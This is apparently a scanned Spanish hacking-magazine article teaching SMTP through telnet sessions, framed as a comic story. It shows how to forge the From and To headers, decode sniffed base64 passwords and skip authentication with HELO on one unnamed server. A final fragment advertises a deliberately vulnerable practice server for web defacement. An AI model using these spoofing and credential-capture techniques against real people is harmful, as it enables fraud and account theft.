          permitir la recepción. Desde luego, lo que está     En el momento en que Macizorra pulse el botón
          claro es que en nada influye el hecho de que        ENVIAR de su cliente de correo, éste establecerá
          el mensaje haya sido enviado mediante SMTP          una conexión TCP/IP con el puerto 25 del
          para que luego sea leído por POP3, IMAP, o          servidor SMTP de Jotmail.
          cualquier otro sistema.                             Si queremos hacer esto mismo nosotros, ya
                                                              sabemos cual es la herramienta que
                                                              necesitamos... ¡el todopoderoso Telnet! :-)
                                                              Os recuerdo cómo podemos establecer la
                                                              conexión con el puerto 25 mediante Telnet.
                                                              Supongamos que la dirección de nuestro
                                                              servidor SMTP (la que nos indican cuando
                                                              damos de alta una cuenta de correo, para que
                                                              podamos configurar el cliente Outlook, Eudora,
                                                              Kmail, o el que sea) es: smtp.jotmail.com.

                                                              Windows 9x:

                                                              Para establecer la conexión con el puerto 25
                                                              mediante Telnet en Windows 9x (95, 98, Me),
                                                              haremos lo siguiente:
                                                              Desde el menú de Inicio vamos a Ejecutar,
                                                              y ahí escribimos:
          3. El protocolo SMTP en detalle                     telnet smtp.jotmail.com 25
                                                              Una vez conectados, no olvidéis activar el eco
          Una vez visto el mecanismo de transporte de         local, lo cual podemos hacer desde el menú
          mensajes a grandes rasgos, ya sólo queda            Terminal de la aplicación de Telnet, en la opción
          entrar en detalle en lo que es el protocolo en      Preferencias.
          sí. Para ello, empezamos por ver la respuesta
          de Macizorra a Pringaete:                           Windows 2000/XP:

          From: macizorra@jotmail.com                         Para hacer esto mismo en Windows XP o

PC PASO A PASO Nº 8                                                                                               Página 55
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




            Windows 2000, vamos al menú de Inicio,             implementación de las service extension, tal
            Ejecutar, y escribimos:                            y como veremos ahora.
            telnet                                             Para mantener la compatibilidad, cualquier
            Una vez dentro de la aplicación de Telnet,         servidor SMTP debe soportar también el uso
            escribimos:                                        de HELO, pero lo habitual es que cualquier
            set localecho                                      cliente salude siempre con EHLO.
            Con lo que activamos el eco local, y ya sólo       ¿Que para qué sirve esto de saludar a una
            nos falta escribir:                                máquina?
            o smtp.jotmail.com 25                              Si recordamos un poco lo que he explicado
            Para establecer la conexión con el servidor.       antes sobre el camino que seguía el mensaje
                                                               de Pringaete hasta llegar a Macizorra, sabremos
            Linux/Unix:                                        que básicamente un servidor SMTP puede recibir
                                                               dos tipos de conexiones:
            Desde una consola (shell) simplemente              -        Conexiones de un cliente (como tú,
            escribimos:                                        como yo, y como Pringaete).
            telnet smtp.jotmail.com 25                         -        Conexiones de otro servidor de SMTP
                                                               (aquellos que se usan como intermediarios para
            Una vez conectados, el servidor SMTP nos           transportar un mensaje).
            enviará un breve saludo. Lo único importante       Al saludar al servidor le estamos diciendo de
            de este saludo es que tiene que empezar por        dónde venimos nosotros, es decir, si somos un
            220 si todo ha ido bien.                           cliente de ese mismo servidor, o si traemos un
            Por ejemplo:                                       mensaje desde otro lado.
            220 smtp03.jotmail.com ESMTP                       Para indicar esto lo que hacemos es indicar en
                                                               el saludo un nombre de dominio. Por ejemplo:
            Por cierto, que en este ejemplo esa coletilla de   EHLO jotmail.com
            ESMTP nos indica que el servidor soporta           Con esto le estamos diciendo que el dominio
            service extension, lo cual nos será útil para      desde el que queremos enviar el mensaje es
            saber cómo debemos proceder a continuación,        jotmail.com.
            tal y como explicaré en el siguiente punto.        Vamos a ver la diferencia entre HELO y EHLO:

            3.2. Saludando con el comando EHLO (y              HELO
            no es una errata)
                                                               Al identificarte con:
            Si, ya se que "Hola" se dice "Hello" en inglés.    HELO jotmail.com
            ¿Entonces por qué este comando se llama            Simplemente estas diciendo: "Hola, vengo desde
            EHLO y no HELLO o HELO?                            Jotmail.com".
            Pues hay un buen motivo, y es que este             Una vez enviado este saludo, podrás empezar
            comando se llama EHLO a propósito,                 directamente a enviar los mensajes que quieras.
            precisamente para diferenciarlo de otro
            comando llamado HELO.                              EHLO
            El comando HELO era el que se utilizaba en
            tiempos remotos para iniciar el diálogo en una     Al identificarte con:
            sesión SMTP, pero en la actualidad éste            EHLO jotmail.com
            comando ha sido sustituido por el comando          Estás diciendo: "Hola, vengo desde Jotmail.com,
            EHLO, que tiene el mismo objetivo, pero            y además puedo manejar service extensions".
            incorpora además facilidades para la               Una vez enviado este saludo, el servidor SMTP

Página 56                                                                                         PC PASO A PASO Nº 8
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




          te enviará una lista de service extension que                 sesión sin password, incluso habiendo iniciado
          puedes utilizar (porque el servidor las tiene                 la sesión con HELO. Claro que, pensar que
          implementadas). Conociendo ya las                             cualquier administrador es lo suficientemente
          características adicionales que puedes utilizar               avispado es pensar mucho, y yo mismo puedo
          en ese servidor, puedes empezar a enviar los                  contaros el caso de un servidor SMTP de un
          mensajes que quieras, utilizando o no esas                    ISP español (cuyo nombre no voy a dar :-P)
          c a ra c t e r í s t i c a s s e g ú n t e c o nv e n g a .   que requiere autenticación, pero sólo la exige
          En algunos casos, estas características                       si se inicia la sesión con EHLO, por lo que
          adicionales (las service extension) no están                  basta con que utilices HELO en lugar de EHLO
          sólo para que las use quien quiera, si no que                 para utilizar ese servidor gratuitamente. 0:)
          pueden también ser de uso obligatorio. Un
          ejemplo típico de esto es el de las service                   En el caso de que no tengamos que
          extension de autenticación, que sirven para                   autenticarnos, bien porque el servidor no tenga
          exigir un password para poder entrar en la                    implementada esa service extension (que, por
          cuenta de correo.                                             cierto, viene documentada en el RFC 2554:
          Pero como.... ¿¿Qué el usar un password para                  ftp://ftp.rfc-editor.org/in-notes/rfc2554.txt), o
          poder enviar e-mails es sólo una característica               bien porque sea opcional, todo es mucho más
          opcional?? Pues, por increíble que parezca,                   sencillo (y más divertido ;-)
          no has leído mal: el protocolo SMTP no                        Así que, si hemos tenido la suerte de dar con
          exige el uso de ningún password, por lo                       un servidor SMTP que no exige autenticación,
          que cualquier servidor SMTP que no tenga                      podemos pasar directamente al punto 3.4. Si
          implementada esta service extension permitirá                 no, tendremos que seguir aquí para ver cómo
          que cualquiera envíe mensajes desde ese                       solucionar este paso.
          servidor, sin necesidad de tener ninguna cuenta.
                                                                        3.3.1. ¿Cómo sabemos si tenemos que
          3.3. ¿Nos autenticamos? (Tampoco es                           autenticarnos?
          una errata. Si os suena mal, mirad el
          diccionario :P)                                               ¿Que cómo sabemos si el servidor requiere
                                                                        autenticación? Sólo lo sabremos si saludamos
          Si os habéis enterado un poco de que va el                    con EHLO, pues será entonces cuando el
          tema (si no, es por mi culpa, ya que no me                    servidor nos de la lista de service extension
          habré explicado con claridad), estaréis ahora                 que tiene implementadas.
          pensando que una posible forma de saltarse                    Si en la lista que nos devuelve el servidor tras
          la autenticación es utilizar el comando HELO                  el EHLO, se encuentra una línea con la palabra
          en lugar de EHLO, ya que sería algo así como                  AUTH: mal rollo. Este servidor tiene
          decirle al servidor:                                          implementada la service extension de
          "Mira, me encantaría identificarme con un                     autenticación.
          password, pero es que resulta que mi cliente                  Como ejemplo de esto vamos a ver la respuesta
          de correo es tan antiguo que no me permite                    que nos da el servidor de cuentas gratuitas del
          hacer eso. Así que entro por las buenas, ¿vale?               que hablábamos en el número anterior
          ;-)"                                                          (www.hotpop.com):
          Podemos pensar que cualquier administrador
          de un servidor SMTP será lo suficientemente                   220 smtp-1.hotpop.com ESMTP Postfix
          avispado como para no permitir esto, así que                  ehlo bonbon.net
          lo normal es que cualquier servidor que requiera              250-smtp-1.hotpop.com
          el uso de autenticación no permita iniciar una                250-PIPELINING

PC PASO A PASO Nº 8                                                                                                         Página 57
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




            250-SIZE 3000000                                 3.3.2. Si no hay más remedio, habrá que
            250-VRFY                                         autenticarse
            250-ETRN
            250-AUTH LOGIN PLAIN                             Si no hay más narices, vamos a ello.
            250 8BITMIME                                     Para que pueda realizarse la autenticación,
                                                             tanto el cliente (nuestro programa de correo
            Como vemos, una de las service extension que     electrónico: Eudora, Outlook, Kmail...) como
            tiene implementadas es la de autenticación.      el servidor (el servidor de correo) tienen que
            Vamos a intentar enviar un mensaje sin           ponerse de acuerdo con qué sistema de
            autenticarnos. Lo que viene a continuación ya    autenticación utilizar.
            lo veremos explicado en detalle más adelante,    Hay muchos sistemas de autenticación, algunos
            de momento sólo quedaos con la idea de lo        más seguros que otros, tal y como especifica
            que ocurre al intentar enviar un e-mail sin      el estándar SASL (Simple Authentication and
            habernos autenticado:                            Security Layer). Podéis ver una lista completa
                                                             de los sistemas de autenticación soportados
            mail from: macizorra@jotmail.com                 p o r        e l      e s t á n d a r      e n
            250 Ok                                           http://www.iana.org/assignments/sasl-
            rcpt to: pringaete@buanadu.es                    mechanisms , así como una especificación
            550 <macizorra@jotmail.com>: Sender address      de este estándar en el RFC 2222 (ftp://ftp.rfc-
            rejected: Access Denied: This server             editor.org/in-notes/rfc2222.txt).
              is for HotPOP.com users ONLY, email            ¿Cómo se ponen de acuerdo en cual de todos
            support@HotPOP.com for assistance.               estos sistemas utilizar? Pues simplemente el
                                                             cliente va probando los sistemas que conoce,
            Como vemos, nos deniega el acceso a esa          y sigue probando hasta que alguno le parezca
            operación (Access Denied), por lo que no hay     bien al servidor, ante lo cual responderá con
            más narices que autenticarse.                    un código 235, por ejemplo:
            En realidad este error se ha producido no sólo
            por no habernos autenticado, si no porque        235 ok, go ahead (#2.0.0)
            para colmo la dirección del origen del mensaje
            (macizorra@jotmail.com) ni siquiera              Si lo que queremos hacer es realizar una
            pertenece a una cuenta de este servidor SMTP.    conexión SMTP mediante un cliente de Telnet,
            Si hiciesemos la misma prueba, pero utilizando   entonces no tenemos que complicarnos más
            como origen una cuenta que si que pertenezca     la vida aquí, ya que podemos utilizar el sistema
            a este servidor, la respuesta será diferente:    más sencillo de autenticación, que es el PLAIN.
                                                             Ahora mismo os explicaré como funciona. ;-)
            mail from: yosoygenial@bonbon.net                En cambio, si vuestro objetivo es capturar con
            250 Ok                                           un sniffer una sesión SMTP ajena (espero que
            rcpt to: pringaete@buanadu.es                    sea por una buena causa :-P), entonces os
            550 <pringaete@buanadu.es>: Recipient            tocará rezar para que el sistema de autenticación
            address rejected: Relaying Denied: Authent       no sea de los más seguros, porque si no os
            icate with POP first or contact                  veréis en serias dificultades para extraer la
            support@HotPOP.com                               información que deseáis "tomar prestada" de
                                                             la captura de vuestro sniffer.
            Aquí ya vemos como claramente nos dice que
            tenemos que autenticarnos.                       Autenticación PLAIN:


Página 58                                                                                         PC PASO A PASO Nº 8
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




          Tenemos una pequeña aplicación que nos va            su password. ;-))))
          a solucionar todos los problemas que podamos
          tener con la autenticación, y se encuentra en:       Codificando en base64:
          http://www.fourmilab.ch/webtools/ba
          se64/. Esta sencilla aplicación, que está            Si, en cambio, lo que queremos es realizar
          disponible tanto en ejecutable para Win32 como       nuestra propia sesión SMTP a pelo utilizando
          en código fuente para cualquier otro sistema         un cliente de Telnet, lo que necesitaremos es
          operativo (vaaaale... aceptamos Win32 como           precisamente lo contrario. Conocemos el nombre
          sistema operativoooo...), nos sirve para codificar   de usuario y el password, y lo que necesitamos
          y decodificar cualquier texto con el sistema de      ahora es codificarlo para poder enviarlo al
          codificación base64, que es el que se utiliza        servidor SMTP. Para ello, creamos un archivo
          para la autenticación.                               de texto que contenga el nombre de usuario
          Vamos a ver rápidamente su uso:                      seguido del password, separados por un espacio,
                                                               por ejemplo (recordemos el artículo de POP3,
          Decodificando en base64:                             en el número anterior de la revista):
                                                                yosoygenial pedo67
          Si tenemos una captura de una sesión SMTP            Y a este archivo lo llamamos password.txt.
          realizada con un sniffer (os recuerdo que en         El procedimiento ahora es el mismo, pero lo
          www.hackxcrack.com os podéis bajar la                que tenemos que ejecutar es lo siguiente:
          última versión del sniffer IRIS, cuyo manejo         base64 -e password.txt
          explicamos en el número anterior), nos               Nos devolverá el texto codificado tal y como
          interesará decodificar el texto que envió el         se lo tenemos que enviar al servidor.
          cliente de correo que contenía el password           Suponiendo que el texto codificado es este:
          codificado. Para ello, creamos un archivo de         IHlvc295Z2VuaWFsIHBlZG82Nw==
          texto con el password codificado que hemos           Entonces sólo tenemos que escribir esto en
          capturado, al cual llamaremos password.txt.          nuestro cliente de telnet:
          A continuación, hacemos lo siguiente, según
          el sistema que utilicemos:                           AUTH PLAIN IHlvc295Z2VuaWFsIHBlZG82Nw==
          - En Windows:
          menú Inicio -> Ejecutar -> command.com               Y... hop! Estamos dentro :-)
          Se nos abrirá una ventana Ms-Dos.
          Vamos al directorio en el que tenemos la             3.3.3. Repasemos...
          aplicación que nos hemos bajado para base64.
          En ese directorio escribimos:                        El resumen de todo este barullo es el siguiente:
          base64 -d password.txt
          - En Linux/Unix:                                     1- Saludamos con EHLO:
          Desde una consola (shell), vamos al directorio       EHLO bonbon.net
          donde tenemos la aplicación que nos hemos            2- Si el servidor requiere autenticación, en la
          bajado para base64, y desde ese directorio           respuesta al saludo habrá una línea que
          escribimos:                                          contendrá la palabra AUTH.
          base64 -d password.txt                               3- Si tenemos que autenticarnos, codificaremos
                                                               el usuario y el password con la aplicación de
          En ambos casos, lo que nos devolverá el              base64, y escribimos al servidor:
          programa será el resultado de decodificar el         AUTH PLAIN <el chorizo que nos haya
          texto en base64. Si todo ha salido bien, nos         salido al codificar el usuario y el
          devolverá un nombre de usuario seguido de            password>

PC PASO A PASO Nº 8                                                                                               Página 59
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




            3.4. Al fin estamos dentro y empezamos                      RCPT TO: pringaete@buanadu.es
            a redactar el dichoso mail                                  Tras enviar este comando, pueden ocurrir 2
                                                                        cosas:
            Se acabaron todos los preliminares para entrar              - Si no se siguieron bien los pasos anteriores
            en la cuenta. A partir de aquí todo será mucho              para entrar en la cuenta, lo más probable es
            más sencillo, y acabaremos en unos minutejos                que el servidor nos responda diciendo que no
            :-) (porque no pienso entrar en detalle en el               admite RELAY, es decir, que sólo quiere que
            formato de las cabeceras, ni en el envío de                 lo utilicen los usuarios registrados. En ese
            attachments, que si no ocupo ya toda la                     caso... ajo y agua :-(
             revista :-P).                                              - Si, en cambio, nos responde con un
                                                                        250 Ok
            La redacción de un mensaje es realmente                     Entonces una de dos: o seguimos bien los
            sencilla. Sólo hay 3 pasos, tal y como iremos               pasos anteriores para entrar en la cuenta, o
            viendo.                                                     hemos tenido la increible coña de dar con un
            El primero de todos consiste en decirle al                  servidor que admite RELAY y eso, hoy día, es
            servidor, mediante un simple comando (MAIL                  un chollo.
            FROM), quién es el emisor del mensaje. En
            realidad, esto es una patraña, ya que puedes                ¿Y por qué digo "hoy día"? Pues porque la era
            poner aquí cualquier dirección que se te ocurra,            dorada del SMTP ya pasó. :'-(
            aunque ni siquiera exista.                                  ¡Pero realmente hubo una era dorada! Hace
            Esto en teoría se usa más que nada para que,                unos años, la inmensa mayoría de servidores
            en caso de cualquier problema, el servidor sepa             SMTP no implementaban sistemas de
            a qué dirección tiene que devolver el mensaje.              autenticación, por lo que cualquiera podía
            En el caso de nuestra querida Macizorra, a la               utilizarlos para enviar mensajes a diestro y
            cual teníamos ya casi olvidada, esto será lo                siniestro, con la increible libertad no sólo de
            que podría enviar en este punto su cliente de               utilizar el servidor sin ser un usuario registrado,
            correo:                                                     si no además... ¡de poder enviar mensajes en
            M A I L F R O M : ma c i z o r ra @ j o t m a i l . c o m   nombre de cualquiera! Si, eso es, mensajes en
            Claro que también es probable que su cliente,               los que la dirección de origen podía ser
            en lugar de esto, deje este comando en blanco,              spoofeada o incluso estar en blanco.
            es decir:                                                   Por suerte o por desgracia, esta increíble
            MAIL FROM:                                                  inseguridad que antes estaba generalizada
            ¿Y esto para qué? Tal y como se explica en el               ahora es rara de encontrar, debido sobre todo
            RFC, el dejar en blanco este parámetro sirve                a los odiados spammers, que aprovechaban
            para evitar posibles problemas de bucles                    estas vulnerabilidades para sus aviesos fines.
            infinitos, ya que podría darse el caso de que
            un mensaje de devolución a su vez tuviese que               3.6. Por último, el mensaje en sí :-)
            ser devuelto, por lo que se podría armar un
            buen jaleo.                                                 ¡El último paso! Ya solo falta enviar el mensaje
                                                                        en si.
            3.5. Seguimos, con el destinatario del                      Pero... ¿entonces dónde va el subject y todas
            mensaje                                                     esas cosas? Pues todo eso va incluido en el
                                                                        propio mensaje, y es lo que constituye la
            A continuación, le decimos al servidor cuál es              cabecera del mismo.
            el receptor del mensaje. En el caso de Macizorra            Por tanto, un mensaje se compone de una
            será esto lo que enviará al servidor:                       cabecera y un cuerpo, que es donde va el

Página 60                                                                                                     PC PASO A PASO Nº 8
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




           mensaje en si tal y como nosotros lo leemos.     3.6.2. Cuerpo del mensaje
          Para empezar a escribir el mensaje, tanto la
          cabecera como el cuerpo, simplemente tenemos      Después de la cabecera, normalmente
          que escribir el comando:                          tendremos que dejar una línea en blanco para
          DATA                                              que lo que viene a continuación no se interprete
          Ante lo cual nos responderá el servidor con       como parte de la cabecera.
          un código 354:                                    En el cuerpo del mensaje irá no sólo el texto,
          354 go ahead                                      si no también los attachments (archivos
                                                            adjuntos), los cuales irán codificados mediante
          3.6.1. Cabecera del mensaje                       algún sistema que se especificará en la cabecera.
                                                            No podemos meternos con el tema de los
          No voy a entrar en detalles sobre todos los       attachments, ya que nos iríamos demasiado
          campos de las cabeceras, así que resumo sólo      por las ramas (¿quizá en algún otro artículo?
          los más importantes:                              :-m).

          From:                                             Lo siento, Pringa, pero ya estoy saliendo con
          Esta es la dirección de origen del mensaje.       Musculitos. Es una pena, porque si no fuese
          Probad a poner una dirección que no sea la        por el...
          vuestra, a ver que pasa ]:-)
          From: macizorra@jotmail.com                       Fdo: Macizorra
          Seguid leyendo, seguid... que más tarde os
          explicaré algo interesante sobre esto. ;-)        3.6.3. Fin de mensaje

          To:                                               Para terminar el mensaje, basta con dejar una
                                                            línea en la que tan sólo haya un punto, seguido
          Dirección de destino del mensaje. ¡Esta no        de un Intro.
          es la dirección a la que llegará el mensaje, si   .
          no la dirección que aparecerá en el cliente de    Ante esto, el servidor responderá con un código
          correo del que lo lea! Es decir, donde se         250:
          especifica la dirección de destino no es aquí,    250 Ok
          si no cuando se ejecutó el comando RCPT
          TO. Por tanto, modificando este campo puedes      3.7. ¿Y si algo hubiese salido mal?
          conseguir el misterioso efecto de enviar un
          email a un amigo y que, cuando este lo abra,      Al igual que en POP3, el protocolo SMTP permite
          la dirección de destino que el vea no sea la      hacer un "Undo", es decir, anular el e-mail que
          suya, si no la de cualquier otro. De nuevo, os    se ha redactado para empezar de cero antes
          aconsejo que sigais leyendo, porque en nuestra    de que sea enviado. El nombre del comando
          historieta veremos también un ejemplo práctico    es exactamente el mismo que en POP3, así
          de esto ;-)                                       como su funcionamiento:
          To: pringaete@buanadu.es                          RSET

          Subject:                                          3.8. ¡Se acabó!

          Pues eso, el subject o asunto del mensaje         Una vez terminado el proceso de redacción del
          :-P                                               mensaje, ya sólo falta salir del servidor y, de
          Subject: Ajo y Agua                               nuevo, lo haremos con el mismo comando que

PC PASO A PASO Nº 8                                                                                             Página 61
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




            en POP3:                                          RCPT TO: pringaete@buanadu.es
            QUIT
                                                              250 ok
            4. Resumen de todo lo visto: EL
            MENSAJE DE MACIZORRA A                            DATA
            PRINGAETE
                                                              354 go ahead
            Vamos a ver de un tirón toda la sesión SMTP
            que estableció el cliente de Macizorra con el     From: macizorra@jotmail.com
            servidor de Jotmail, para lo cual, antes de       To: pringaete@buanadu.es
            nada, recordamos cual era el e-mail que quería    Subject: Ajo y Agua
            enviar:
                                                              Lo siento, Pringa, pero ya estoy saliendo con
            From: macizorra@jotmail.com                       Musculitos. Es una pena, porque si no fuese por
            To: pringaete@buanadu.es                          el...
            Subject: Ajo y Agua
                                                              Fdo: Macizorra
            Lo siento, Pringa, pero ya estoy saliendo con
            Musculitos. Es una pena, porque si no fuese por   .
            el...
                                                              250 Ok
            Fdo: Macizorra
                                                              QUIT
            Y esta es la sesión, tal y como hemos ido
            viendo paso por paso:                             221 smtp03.jotmail.com


            220 smtp03.jotmail.com ESMTP                      4.1. Y ahora, los deberes


            EHLO jotmail.com                                  Os dejo como ejercicio una pregunta: ¿Cuál
                                                              es el password de la cuenta de correo de
            250-smtp03.jotmail.com                            Macizorra? Si habéis comprendido bien lo que
            250-PIPELINING                                    he explicado sobre la autenticación, tenéis que
            250-SIZE 3000000                                  ser capaces de extraer esa información a partir
            250-VRFY                                          de la captura de la sesión SMTP que os acabo
            250-ETRN                                          de copiar. ;-)
            250-AUTH LOGIN PLAIN
            250 8BITMIME                                      5. Pringaete contraataca

            AUTH PLAIN IG1hY2lab3JyYSB0b3lidWVuYQ==           Nuestro amigo Pringaete es un tipo duro, y
                                                              ante los problemas no se pone a llorar y patalear,
            235 ok, go ahead (#2.0.0)                         si no que busca soluciones. Además, es un
                                                              hombre sin escrúpulos, por lo que no se va a
            MAIL FROM:                                        cortar un pelo a la hora de contraatacar. Y es
                                                              que resulta que Pringaete es un asiduo lector
            250 ok                                            de los cuadernos de HackXCrack y, más


Página 62                                                                                          PC PASO A PASO Nº 8
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




          concretamente, de la serie RAW, por lo que                      250 ok
          el chaval controla de protocolos. ;-)
          El listo de Pringaete se las ha apañado con un                  RCPT TO: macizorra@jotmail.com
          mínimo esfuerzo de ingeniería social para
          conseguir la dirección de correo de Musculitos,                 250 ok
          que es:
          muscleman@requetevision.net                                     DATA
          Así que se le ocurre enviar este mensaje a
          Macizorra:                                                      354 go ahead

          F ro m : m u s c l e m a n @ re q u e t e v i s i o n . n e t   From: muscleman@requetevision.net
          To: macizorra@jotmail.com                                       To: macizorra@jotmail.com
          Subject: Fue bonito mientras duró                               Subject: Ajo y Agua

          Lo siento, Maci, pero he descubierto que no me van              Lo siento, Maci, pero he descubierto que no me van
          las mujeres, así que lo nuestro se terminó. Un besito.          las mujeres, así que lo nuestro se terminó. Un besito.

          Fdo: Musculitos                                                 Fdo: Musculitos

          Pero... ¿Cómo va a enviar Pringaete un e-mail                   .
          en nombre de Musculitos? ¿Necesitará robarle
          su cuenta de correo? ¡Pues no! Es mucho más                     250 Ok
          sencillo que eso.
          Lo único que tiene que hacer nuestro audaz                      QUIT
          protagonista es modificar el campo FROM de
          la cabecera del mensaje. :-)                                    221 smtp.buanadu.es
          Vamos a ver entonces cómo quedaría la sesión
          SMTP de Pringaete para enviar este mensaje                      5.1. Más deberes
          spoofeado (es decir, con una dirección de
          origen falsa):                                                  Pues estamos con lo mismo... ¿cuál es ahora
                                                                          el password de la cuenta de correo de
           220 smtp.buanadu.es ESMTP                                      Pringaete? ;-)

          EHLO buanadu.es                                                 6. La gran paliza

          250-smtp.buanadu.es                                             Como yo de machista no tengo ni un pelo, no
          250-PIPELINING                                                  creáis que os voy a hacer creer que nuestra
          250-AUTH LOGIN PLAIN                                            amiga Macizorra por estar buena tiene que
          250 8BITMIME                                                    ser tonta, si no precisamente todo lo
                                                                          contrario. :-)
          A U T H            P L A I N                                    Resulta que, casualmente, Macizorra es también
          IHByaW5nYWV0ZSBzb3lmcmVhaw==                                    una asidua lectora de la serie RAW, por lo
                                                                          que siguió mi consejo, en el artículo anterior,
          235 ok, go ahead (#2.0.0)                                       de configurar su cliente de correo para ver las
                                                                          cabeceras completas. Así que, ya que nuestra
          MAIL FROM:                                                      amiga jamás dudó de la virilidad de su amado

PC PASO A PASO Nº 8                                                                                                                Página 63
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




            Musculitos, en cuanto leyó ese mensaje quedó                     era        él,     si      no     un     tal
            un poco mosca, por lo que decidió revisar                        "soyhombremuerto@funeral.net",
            detenidamente la cabecera.                                       y en cambio ese mensaje le había llegado
            ¿Y qué fue lo que descubrió? Pues que en la                      mágicamente a su cuenta de
            cabecera del mensaje había, entre otras,                         "pringaete@buanadu.es". Eso sólo
            esta línea:                                                      podía significar una cosa: Musculitos también
            Received: from 217-124-12-15.buanadu.es                          es un asiduo lector de la serie RAW y conoce
            (HELO buanadu.es) (pringaete@217.124.12.15                       los oscuros misterios del protocolo SMTP.
            with plain)                                                      (glups...)
            Vaya, vaya... pero si 217.124.12.15 es                           Y, ¿cómo ha conseguido Musculitos que
            precisamente la IP de Pringaete... y no solo                     reciba Pringaete un e-mail supuestamente
            eso, si no que hasta son tan amables de                          no destinado a su cuenta? Pues, simplemente,
            decirnos que el usuario que envió ese e-mail                     cambiando el campo TO de la cabecera
            no fue muscleman, si no pringaete...                             del mensaje. Por no poneros toda la sesión,
            Y ahora probablemente os estaréis                                os pongo sólo lo que habría a partir del
            preguntando: ¿Cómo puede ser que ponga                           MAIL FROM:
            eso en la cabecera, si Pringaete no escribió
            nada parecido en la cabecera cuando redacto                      MAIL FROM:
            el mensaje?
            Pues resulta que la cabecera que llega a                         250 Ok
            Macizorra no es sólo la que escribió Pringaete
            a la hora de redactar el e-mail, si no que a                     RCPT TO: pringaete@buanadu.es
            ésta se suman varias líneas generadas por
            el propio servidor de correo, o incluso por                      250 Ok
            los posibles servidores intermedios (¿os acordáis
            de los relays y los gateways?) por los que pasó                  DATA
            el mensaje.
                                                                             354 go ahead
            Así que, al día siguiente, Pringaete abre su
            correo ansiosamente, esperando recibir alguna                    F r o m : m u s c l e m a n @ re q u e t e v i s i o n . n e t
            declaración de amor de una supuestamente                         To: soyhombremuerto@funeral.net
            decepcionada Macizorra, cuando recibe lo                         Subject: la cagaste, majo
            siguiente:
                                                                             Se te ha visto el plumero. Vas a ver como te dejo la
            F r o m : m u s c l e m a n @ re q u e t e v i s i o n . n e t   cara. :-)
            To: soyhombremuerto@funeral.net
            Subject: la cagaste, majo                                        Fdo: Musculitos

            Se te ha visto el plumero. Vas a ver como te dejo                .
            la cara. :-)

                                                                             250 Ok
            Fdo: Musculitos

                                                                             QUIT
            Pringaete quedó bastante estupefacto, no sólo
            por la terrible amenaza, si no también por el
                                                                             221 smtp014.requetevision.net
            hecho de que el destinatario del mensaje no

Página 64                                                                                                                   PC PASO A PASO Nº 8
SERIE RAW: PROTOCOLO SMTP - SERIE RAW: PROTOCOLO SMTP - SERIE RAW




          6.1. Para terminar, los deberes
                                                               PERSONALIZATUMOVIL
                                                                PERSONALIZATUMOVILMOVIL
                                                                PERSONALIZATUTUMOVIL
                                                               PERSONALIZATUMOVIL
                                                                  PERSONALIZATU TUMOVIL
                                                                 PERSONALIZATUTUMOVIL  MOVIL
                                                                  PERSONALIZATU MOVILMOVIL
                                                                                  TUMOVIL
                                                                 PERSONALIZATUMOVILMOVIL
                                                               PERSONALIZATUMOVIL
                                                                 PERSONALIZATUTUMOVIL
                                                                  PERSONALIZATUMOVILMOVIL
                                                                PERSONALIZATUMOVIL    MOVIL
                                                                                     MOVIL
                                                                                     MOVIL
                                                                                    MOVIL
                                                                                    MOVIL
                                                                   PERSONALIZA TUMOVIL
                                                                                    MOVIL
                                                                                   MOVIL
                                                                                   MOVIL
                                                                                  MOVIL
                                                                   PERSONALIZA TU MOVIL
                                                                                  MOVIL
          Pues esta vez no puedo pediros que saquéis               PERSONALIZA
                                                                    PERSONALIZA   MOVIL
                                                                     PERSONALIZATU MOVIL
                                                                      PERSONALIZA TUMOVIL
                                                                                     MOVIL
                                                                      PERSONALIZA TUMOVIL
                                                                     PERSONALIZATU MOVIL
                                                                                    MOVIL
                                                                     PERSONALIZA TUMOVIL
                                                                                    MOVIL
          el password de la cuenta de correo de
          Musculitos, ya que no he copiado la sesión
          completa, así que lo único que puedo poneros
          como deberes es que tratéis de reconstruir la
          cara del pobre Pringaete. ;-)




          Autor: PyC (LCo)
          Ilustraciones: MariAn (LCo)


                                                                         HAY MUCHOS MAS EN
                                                                      http://pclog.buscalogos.com/


          ¿QUIERES COLABORAR CON PC PASO A PASO?
         PC PASO A PASO busca personas que posean conocimientos de
         informática y deseen publicar sus trabajos.

         SABEMOS que muchas personas (quizás tu eres una de ellas) han creado
         t ex t o s y c u r s o s p a r a “ c o n s u m o p r o p i o ” o “ d e u n o s p o c o s ” .


         SABEMOS que muchas personas tienen inquietudes periodísticas pero
         nunca se han atrevido a presentar sus trabajos a una editorial.

         SABEMOS que hay verdaderas “obras de arte” creadas por personas
         como tu o yo y que nunca verán la luz.

         PC PASO A PASO desea contactar contigo!

         NOSOTROS PODEMOS PUBLICAR TU OBRA!!!
         SI  DESEAS     MÁS    INFORMACIÓN,        envíanos    un   mail   a
         empleo@editotrans.com y te responderemos concretando nuestra oferta.

         También necesitamos urgentemente alguien que se ocupe de la
         publicidad y de la web de esta editorial, para más información
         envíanos un mail a empleo@editotrans.com



PC PASO A PASO Nº 8                                                                                Página 65
SERVIDOR DE HXC
                              MODO DE EMPLEO


            - Hack x Crack ha habilitado un servidor para que puedas     A partir de ese momento, cualquiera que acceda a ese
            realizar las prácticas de hacking.                           servidor, verá el default.htm modificado para vergüenza
                                                                         del “site” hacheado. Esto es muy genérico pero os dará
            - Actualmente tiene el BUG del Code / Decode y lo            una idea de cómo funciona esto de hackear Webs ;)
            dejaremos así por un tiempo (bastante tiempo ;) Nuestra
            intención es ir habilitando servidores a medida que os       - Cuando accedas a nuestro servidor mediante el CODE /
            enseñemos distintos tipos de Hack, pero por el momento       DECODE BUG, crea un directorio con tu nombre (el que
